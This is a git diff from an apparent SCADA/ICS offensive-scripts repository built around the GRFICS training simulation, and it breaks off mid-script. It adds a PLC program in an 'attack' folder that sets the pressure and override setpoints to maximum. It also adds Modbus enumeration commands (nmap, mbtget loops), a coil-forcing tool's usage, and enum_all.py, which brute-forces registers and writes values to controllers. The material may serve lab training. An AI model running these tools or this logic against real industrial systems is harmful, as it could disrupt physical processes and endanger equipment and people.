level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 new file mode 100644 index 0000000..8af5f5e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +5a438746873feeb5984adb25694ca5c9 \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st new file mode 100644 index 0000000..93fa1aa --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st @@ -0,0 +1,612 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], 